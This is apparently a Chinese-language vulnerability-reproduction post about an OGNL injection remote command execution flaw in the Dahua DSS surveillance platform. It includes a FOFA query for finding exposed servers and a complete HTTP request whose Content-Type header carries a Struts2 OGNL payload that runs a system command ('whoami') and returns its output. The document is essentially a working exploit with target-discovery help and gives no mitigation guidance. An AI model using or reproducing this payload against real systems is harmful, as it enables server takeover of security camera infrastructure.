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Published on 2024-08-30 / 0 Visits
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D1-4大华-DDS数字监控系统-OGNL注入

D1-4大华-DDS数字监控系统-OGNL注入

漏洞描述:

大华DSS安防监控系统平台采用ApacheStruts2作为网站应用框架。由于应用程序框架存在远程命令执行漏洞,攻击者可以通过在上传文件时修改HTTP请求标头中的Content Type值来触发该漏洞,然后执行该漏洞。系统命令以获取服务器权限。

网站图片:

image-20240620201812912

网络测绘:

fofa语法:

body=“/portal/include/script/dahuaDefined/headCommon.js?type=index” && title=“DSS”

漏洞复现:

payload:

POST /admin/login_login.action HTTP/1.1
Host: your-ip
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 0

效果图:


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